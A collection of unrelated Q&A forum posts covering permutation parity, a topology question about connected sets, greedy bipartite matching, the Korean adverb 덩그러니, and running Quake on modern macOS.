Example 3. As $ (a_1 \, \, a_2 \, \, \ldots \, \, a_k) = (a_1 \, \, a_k) (a_1 \, \, a_{k-1}) \ldots (a_1 \, \, a_2) $, $ \text{sgn}(a_1 \, \, a_2 \, \, \ldots \, \, a_k) = (-1)^{k-1} $.

Ref: A similar discussion can be found in E.B.Vinberg's "Course in Algebra".
Comment: In this [example](https://en.wikipedia.org/wiki/Parity_of_a_permutation#Example) if you do the transpositions from right to left using $\sigma(1)=3$, $\sigma(2)=4$, $\sigma(3)=5$, $\sigma(4)=2$, $\sigma(5)=1$ you get the same result if you do the transpositions from left to right without making any $\sigma$ associations. Is these always possible?
Answer: [This is one approach, mentioned in Jacobson's Basic Algebra Vol 1]
Fix $n \in \mathbb{Z} _{\gt 0}.$ For $\sigma \in S _n,$ let $N(\sigma)$ be the number of cycles in the cycle decomposition of $\sigma.$
Th: Let $\sigma \in S _n,$ and let $\tau \in S _n$ be a transposition. Then $N(\tau \sigma) = N(\sigma) \pm 1$ (especially $\sigma \rightsquigarrow \tau \sigma$ flips the parity of number of cycles).
Pf: Let $\tau = (\alpha \text{ } \beta),$ and let $\sigma = C _1 \ldots C _{N(\sigma)}$ be the cycle decomposition of $\sigma.$
$\underline{\textbf{Case-1}}$ (Both $\alpha, \beta$ appear in the same cycle of $\sigma$)
WLOG $C _1$ has both $\alpha, \beta$ in it. Now the cycle decomposition of $(\alpha \text{ } \beta) C _1$ is: ${ ({\color{purple}{\alpha}} \text{ } {\color{green}{\beta}}) ({\color{purple}{\alpha}} \text{ } x _1 \ldots \text{ } x _k \text{ } {\color{green}{\beta}} \text{ }  x _{k+1} \text{ } \ldots \text{ } x _l) }$ ${ = ({\color{purple}{\alpha}}  \text{ } x _1 \text{ } \ldots \text{ }  x _k) ({\color{green}{\beta}} \text{ }  x _{k+1} \text{ } \ldots \text{ } x _l ) }.$ So ${ N(\tau \sigma) = N(\sigma) + 1}$ in this case.
$\underline{\textbf{Case-2}}$ ($\alpha, \beta$ appear in different cycles of $\sigma$)
WLOG $C _1$ has $\alpha$ and $C _2$ has $\beta$ in it. Now the cycle decomposition of ${ (\alpha \text{ } \beta) C _1 C _2 }$ is: ${ ({\color{purple}{\alpha}} \text{ } {\color{green}{\beta}} ) ({\color{purple}{\alpha}} \text{ } x _1 \text{ } \ldots \text{ } x _k) ( {\color{green}{\beta}} \text{ } y _1 \text{ } \ldots \text{ } y _l)  }$ ${ = (x _1 \text{ } \ldots \text{ } x _k \text{ } {\color{green}{\beta}} \text{ } y _1 \text{ } \ldots \text{ } y _l \text{ } {\color{purple}{\alpha}} ). }$ So $N(\tau \sigma) = N(\sigma) -1$ in this case.
Cor: If two products of transpositions $\tau _1 \ldots \tau _k$ and $\tau' _1 \ldots \tau' _l$ are equal in $S _n,$ then $k,l$ have the same parity.

Every $\sigma \in S _n$ is a product of transpositions.

$\sigma$ is a product of disjoint cycles, and each cycle $(a _1 \text{ } \ldots \text{ } a _k)$ is $\underbrace{(a _1 \text{ } a _k) \ldots (a _1 \text{ } a _2)} _{k-1 \text{ transpositions}} .$

But from the corollary, no matter how we express $\sigma$ as a product of transpositions in $S _n$ the quantity  $(-1)$ raised to the number of transpositions remains the same. We call this invariant $\text{sgn}(\sigma).$

Now we have $\text{sgn}(\sigma _1 \sigma _2) = \text{sgn}(\sigma _1) \text{sgn}(\sigma _2)$ and $\text{sgn}((a _1 \text{ } \ldots \text{ } a _k)) = (-1) ^{k-1}.$

Odd/Even Permutations


How much of general topology can be developed by taking the notion of "connected set" as the sole topological primitive

Question: Let X be an infinite regular topological space which is connected and locally connected.
Question. If no point of X is a cut point, does X always have base of connected open sets whose complements (with respect to X) are also connected?
The answer is "YES" if X is a real Banach space whose dimension is at least 2. The motivation for this question is to obtain a simple characterization of as large a class of spaces as possible, which have the property that their topology is uniquely determined when the collection of their connected subsets is specified. Note that closed connected sets can be defined in terms of connected sets. They are those connected sets whose union with the singleton of any point not belonging to them is not connected. Then we can take the complements of the closed connected sets to be the base of our topology.
Comment: How would you define the separation properties (e.g. Hausdorff, completely regular) in terms of connected sets?  Gerhard "Not To Mention Compactness Too" Paseman, 2014.06.03
Comment: $U$ is open iff $\forall$ connected $C, \forall x \in C \cap U, \exists$ connected $C' \subset C \cap U$ with $\{x\} \subsetneq C'$?
Comment: U is open iff for each point p of U there exist a (non-degenerate) connected subset V of U containing p, such that the complement of V (in the space X) is a closed connected subset of X.
Comment: I really must apologize. I just discovered that this question is almost a duplicate of question No. 126897, which I asked over a year ago, and which I had completely forgotten about because it received no responses of any sort. However the new question clearly differs from the old one in one respect. The old question contains no mention of cut points.
Comment: Maybe useful reference: https://ncatlab.org/nlab/show/connectology
Comment: @Garabed care to link to that older question?
Answer: The answer is no. We can construct a connected and locally connected space $X$ in the plane such that:

$X$ has no cut points; and
there is a point $p\in X$ such that $X\setminus U$ is disconnected for every sufficiently small open subset $U$ of $X$ containing $p$.

Let $p=\langle 0,0\rangle$ and let $\{S_n:n<\omega\}$ be a collection of simple closed curves in the plane such that $S_n\cap S_m=\{p\}$ for all $n\neq m$, each $S_n$ intersects the circle of radius $1$ around $p$, and each $S_n\setminus \{p\}$ is open in $S:=\bigcup \{S_n:n<\omega\}$. For each $n<\omega$ connect $S_{n}$ to $S_{n+1}$ with an arc $A_n$ which has one endpoint in $S_{n}$ and the other endpoint in $S_{n+1}$, such that $A_n$ is contained in the disc of radius $1/n$ around $p$. Let $X=S\cup \bigcup \{A_n:n<\omega\}$. If $U$ is any open set containing $p$ of diameter less than $1$ then $X\setminus U$ is not connected, because for  sufficiently large $n$ the curve $S_n$ reaches outside of $U$ but its connecting arcs $A_{n-1}$ and $A_n$ are contained in $U$.
The example is Polish but non-compact.  I'm not sure if there is a compact counterexample.


static offline bipartite graph matching

Question: Consider a static offline bipartite graph where we have complete knowledge of the two sets of vertices $U$ and $V$. Now an edge is drawn between a vertex of $U$ and vertex of $V$ if the difference of the values associated with the respective vertices is minimum. The problem is to maximize the number of edges drawn. It is a one-to-one mapping. Once an edge is formed it cannot be reverted. Set $U$ and $V$ are not necessarily of equal size. There is no ordering on the elements in the set $U$ as they are considered in what so order they are at considered unit of time. A $U$ vertex value minus a $V$ vertex value should be greater than or equal to zero only to draw an edge. Can anyone explain and give the ratio of this mentioned matching algorithm performance to the optimum matching that can be found in this scenario?
Comment: Can you define "*static*" and "*offline*"?
Comment: Also, much of your post is hard to understand. In "*...difference of the values associated with the respective vertices is minimum.*", minimum among what? The sentence containing "*... as they are considered in what so order they are at considered unit of time.*" is incoherent. What ratio are you looking for?
Comment: static refers that the values associated with the vertices in the U and V sets do not change and we know them. Offline refers that no new vertices are entering into the U and V sets. Actually both keywords meant to say that we have complete knowledge of the set U and set V before hand.
Comment: @Mike Pierce Say we have U set vertices with some values associated with each vertex. 'considered in what so order' I mean that there is no ordering like ascending or descending or any other criteria on those value.
Comment: Just pick a vertex 'u' from U and identify the minimum non negative difference of the value associated with it by looping over v's in the V set. Once identified,  an edge is drawn between the corresponding 'u' and 'v'. Since it is one to one matching that 'v' wont be considered further. Continue with next 'u' from U set by repeating the same with rest out v's.
Comment: @Mike pierce The ratio of the performance of this above mentioned procedure of matching between the vertices of U and V to performance of optimum algorithm matching if one exists for the above problem of maximizing the number of edges drawn between the elements of the sets.
Answer: What you are describing sounds like a variation of the assignment problem, except that your version has that $|U|$ and $|V|$ are not necessarily equal. The Hungarian algorithm seems to be a good solution to the assignment problem, and I imagine that it can be modified pretty easily to fit your situation.
As for finding the performance ratio, the Hungarian algorithm works in $\operatorname{O}(n^3)$, so I would imagine that it would change to  $\operatorname{O}(|U|^2|V|)$ after it is modified. You can compare this to the runtime of your approach which is $\operatorname{O}(|U||V|)$. If you wanted a hard numerical ratio, I would suggest coding up the modified Hungarian algorithm and your approach and collecting some data.
Comment: Can you explain the nature of the problem like it is np hard or under which category it falls. Can I refer the approach which I mentioned as greedy?
Comment: Can you please explain how it is |U|^2|V|) ?

static offline bipartite graph matching


What does 덩그러니 mean in the sentence 또 덩그러니 내게 남겨져있어?

Question: I'm searching for the meaning of 덩그러니 word as I'm not able to find any correct meaning for this word. So can you please help me?
Answer: The adverv '덩그러니' describes that something is left in a big and hollow space. I don't know your context, but it seems that '또 덩그러니 내게 남겨져 있어?' implies that something which might mean some task(?) is left behind to the subject (내게) again without anybody's help.
Answer: 덩그러니 can be 1) (of an object or person) in a stark and conspicuous manner (because it is all by itself or doesn't go along with the surroundings), or 2) (of a place) looking or feeling overly large and sparse so as to give an impression of desolation.
There doesn't seem to be a close match in English, but I think "starkly" for sense-1, and "desolately" for sense-2 can convey similar idea.
The following lines from the Doors song Riders on the Storm might give you an idea.  The original lyrics don't include a word like 덩그러니, but it seems like a perfect place to add it if you're translating it to Korean.
<code>Into this world we're thrown                     우린 이 세상에 덩그러니 던져져
Like a dog without a bone, an actor out on loan  뼈다귀 찾는 개처럼, 배역을 잃어버린 배우처럼
</code>


How can I play Quake on OS X 10.7 or above?

Question: Is there any option for native playing Quake on OS X 10.7 and above?
Answer: Yes there is actually a way to play Quake but you'll need the CD contents of the original Quake (or play a shareware version).
Personally I have only been able to get this to work using GLQuake/Quake provided by that link.
REQUIREMENTS
<code>Intel
Mac OS X 10.6 or later
Quake 1 (shareware or retail version).
</code>
You can download shareware quake By ID Software (6.7 MB) here. (which is free)
Steps to install:

install the quake client from here
download the shareware version of quake here
unzip the .sit file (to a known area)
then open up glquake
it will ask you to locate the ID1 folder, find it (it should have PAK0.PAK in it).
It will load if correctly found ID1 folder is selected
Press the green play button
Have fun playing old school quake!
Comment: Does local LAN play work with this method?  What about with Windows PCs on the same LAN?
Answer: Once you have the original disk and its files, you can choose from a number of modern, maintained Quake clients. From that list, the Mac-native ones are ProQuake+, ProQuake v3.5 (GL), Fitzquake SDL, and Darkplaces.
That page also provides a link to the original, ancient GLQuake, but it's neither modern nor maintained. It'll do the job, but the others are all improvements on GLQuake and will probably serve you better.
Answer: In 2018 follow the accepted answer, but you're better off using quakespasm instead of quake-x, you can download it here:
http://quakespasm.sourceforge.net/download.htm
Answer: As of 2023, the best way to play Quake 1 on a modern Mac (at least if you want to play the single-player campaign; I don't know about network play) is the Mac Source Ports build of vkQuake. This is QuakeSpasm ported from OpenGL to Vulkan; it runs great on my late Intel Mac mini running Monterey.
You'll need:

vkQuake, from the above link
Quake 1's data files; namely, the id1 folder containing pak0.pak and pak1.pak
(Optional) Quake's music as MP3 or FLAC files, or any other ten songs you'd like to use as a substitute Quake soundtrack

Create a folder named "Quake" to put all these things in.
For the game data files, I have Quake 1 for Classic Mac, so I mounted my image of that CD-ROM in SheepShaver (a Mac OS 9 VM), installed Quake there, and then copied the id1 folder through the portal into the modern world. Getting it from the GOG or Steam releases may be another option if you have a Windows machine. If nothing else, you could use the shareware version just to get it working.
If you have a physical Quake 1 CD-ROM, it's also an audio CD. Rip it using iTunes/Music.app; you need to import it as MP3 (AAC won't work; FLAC will but iTunes doesn't support that). Rename the MP3 files to "track02.mp3", "track03.mp3", etc., and put them in id1/music.
(Yes, the first MP3 file is "track02.mp3". Track 1 of the CD is the data track, containing the game. Tracks 2 through 11 are the music tracks.)
Put the MP3 files into a folder named music; put the music folder into the id1 folder you grabbed from your Quake installation; and put that and vkQuake.app into your Quake folder.
You should have:

Quake

id1

music

track02.mp3
⋮
track11.mp3

pak0.pak
pak1.pak

vkQuake.app

Now you're all set up. Run vkQuake.app whenever you want to play Quake.
Answer: In 2023, unless you absolutely have to run it on the desktop or you want source ports, the easiest way is NetQuake